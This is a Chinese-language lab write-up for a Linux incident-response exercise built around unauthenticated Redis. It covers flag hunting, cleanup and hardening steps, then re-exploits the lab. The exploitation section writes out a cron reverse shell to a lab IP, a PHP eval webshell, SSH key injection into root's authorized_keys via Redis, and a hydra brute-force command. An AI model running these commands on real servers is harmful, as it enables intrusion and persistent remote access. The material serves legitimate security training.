乱打,linux靶机1应急响应,redis未授权访问6379,如何修复,三种利用方法
首先进去看看是centos
可以尝试梭一把,但是有点多,这里我学习下网上的思路

查看history,这里defend用户没有执行过什么

所以我们切换到root用户,查看,发现第一个flag{thisismybaby}

Linux中的/etc/rc.d/rc.local文件
在Linux系统中,/etc/rc.d/rc.local文件是一个用于添加开机启动命令的脚本。这个文件通常是/etc/rc.local的软链接,类似于Windows中的快捷方式。
当系统启动时,会自动执行/etc/rc.local中的命令,但默认情况下,这个文件没有执行权限。
因此,如果需要在开机时自动执行某些命令,就需要给/etc/rc.d/rc.local文件添加执行权限。
如何设置开机自启动命令
要设置应用程序在开机时自动启动,可以在/etc/rc.d/rc.local文件中添加相应的命令。例如,如果要设置nginx在开机时自动启动,可以按照以下步骤操作:
确保/etc/rc.d/rc.local文件具有执行权限。如果没有,可以使用以下命令修改权限: chmod +x /etc/rc.d/rc.local 编辑/etc/rc.d/rc.local文件,在其中添加启动nginx的命令。例如: # 启动nginx服务 /usr/sbin/nginx 保存文件并重启计算机以测试服务是否能够自动启动。
刚才看到攻攻击者操作了这个文件,所以我们看下,得到第二个flag{kfcvme50}

看了看网上教程,有点麻烦,这里我们使用whoamifuck https://github.com/enomothem/Whoamifuck
这里-l扫出来一个192.168.75.129,应该是攻击者ip了
或者通过,查看redis日志
bashgrep "Accepted" /var/log/redis/redis.log

这里-r扫出来一个redis未授权,我们查看redis日志

直接得到flag{P@ssW0rd_redis}

这里我们可以进一步排查其他的redis未授权组合招
bashtail -f /var/log/redis/redis.log 2>/dev/null
bashcat /root/.ssh/authorized_keys 2>/dev/null
bashcrontab -l

通关

我们可以删除攻击者写入的 SSH 公钥
bashrm -f /root/.ssh/authorized_keys
删除 Redis 持久化文件中的公钥
bash# 删除被污染的 dump.rdb
rm -f /var/lib/redis/dump.rdb
# 重启 Redis 重新生成干净的 rdb
systemctl restart redis
清理 rc.local 中的恶意内容
bash# 查看内容
cat /etc/rc.d/rc.local
# 删除攻击者添加的 flag 行或恶意命令
# 用编辑器删掉异常行,保留系统原有的 touch /var/lock/subsys/local
vi /etc/rc.d/rc.local
检查并删除可疑用户
bash# 检查 /etc/passwd 中新增的用户
cat /etc/passwd | grep -E "redis|bash$"
# 如果 redis 用户是攻击者创建的,删除用户及家目录
userdel -r redis
检查定时任务
bash# root 的 crontab
crontab -l
crontab -e # 删除异常任务
# 系统级定时任务
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
cat /etc/crontab
检查其他持久化后门
bash# 检查 systemd 自启动服务
ls -la /etc/systemd/system/
ls -la /usr/lib/systemd/system/
# 检查 /etc/profile、~/.bashrc 等是否被写入反弹 shell
cat /etc/profile | tail -20
cat /root/.bashrc | tail -20
修复 Redis(核心漏洞)
bash
vi /etc/redis.conf
requirepass YourStrongPassword123!@#
把bind 0.0.0.0变为bind 127.0.0.1
修改 Redis 运行用户(不要 root)
bash# 创建 redis 用户
useradd -r -s /sbin/nologin redis
# 修改 redis 配置文件中的用户
vi /etc/redis.conf
# 找到并设置:
# supervised systemd
修改服务文件 /usr/lib/systemd/system/redis.service
bash
[Service]
User=redis
Group=redis
# 修改数据目录权限
chown -R redis:redis /var/lib/redis
chown -R redis:redis /var/log/redis
# 重启服务
systemctl daemon-reload
systemctl restart redis
这里开打,首先开启redis服务
bashredis-server /etc/redis.conf
看下端口确实存在

这里有文章用了
bashhydra -l root -P dic.txt 172.16.0.109 ssh -V -t 4
来爆破root密码,由于ftp时候我们尝试过这个工具的使用,所以这里就不打了,直接打redis
这篇文章介绍了三种利用方式,我们来试一下 https://blog.csdn.net/Destiny_one/article/details/121650150
首先使用
bashredis-cli -h 192.168.40.152 -p 6379
redis-cli:Redis 自带的命令行客户端工具,用于连接并操作 Redis 服务器。
-h 192.168.40.152:指定要连接的 Redis 服务器 IP 地址(host)。
-p 6379:指定 Redis 服务的端口号(port),6379 是 Redis 的默认端口

使用info查看配置

keys *查看密钥

bashset x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1\n"
CentOS 系列(RHEL/CentOS/ Rocky / AlmaLinux):
config set dir /var/spool/cron/
config set dbfilename root
Ubuntu / Debian 系列:
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save


这里因为没有web服务我看,所以直接写tmp了
bashset x "\n<?php @eval($_POST['test']);?>\n"
config set dir /www/admin/localhost_80/wwwroot/
config set dbfilename shell.php
save


先生成一个
bashssh-keygen -t rsa


id_rsa —— 私钥(攻击机保留,用来登录)
id_rsa.pub —— 公钥(要写入靶机)
构造包含公钥的文本文件
bash(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/1.txt

bash
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDe1kpuTgCdV461iwUGItQ1hRbfmU32qc4QdSfAixwbJnudNik3GkqR/3Ae2MilZpmgcMk4lYE7CO5totcaQuUMU8OlYTOovX8T46cb7j8v2z9LrN3aBWGAOrPdQZNSxcqsEWoWf3AbQ7D2b84TEjdpyoiMyX0lBvmpujby0dNekRk1OKyHzgCTyo3u85z/ycbH1p7CZGg9u26ArTcXBjbu3dxFG1CwunU6w3enrawap/350aUJGgPND8kr/4m2dbWCN98NRjC4Ys9GDWT/OiULG8UyGlatByOzYbFwylaMQe5qD8sWXcYkCK5DvAKKa0kY5jIiBxdY+uXyX3y7McjKq+PCXNpj+jHF1/37rUO35MZ9Hq334hcW3Bs/t0WarejaHp29fl7/RO52/QZzRSadC660+ibMsn+zKtuyRc61jyJudCivGIf0DQGqZYiZ+ALYbEDISzLtga//QMLV2JBC1xN6dVLutuo2DB1oNIIohb444E6kyxbeE21Z9kKoTjc= kali@kali\n\n"
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

bashssh -i ~/.ssh/id_rsa root@192.168.40.152

这时我们查看.ssh 目录
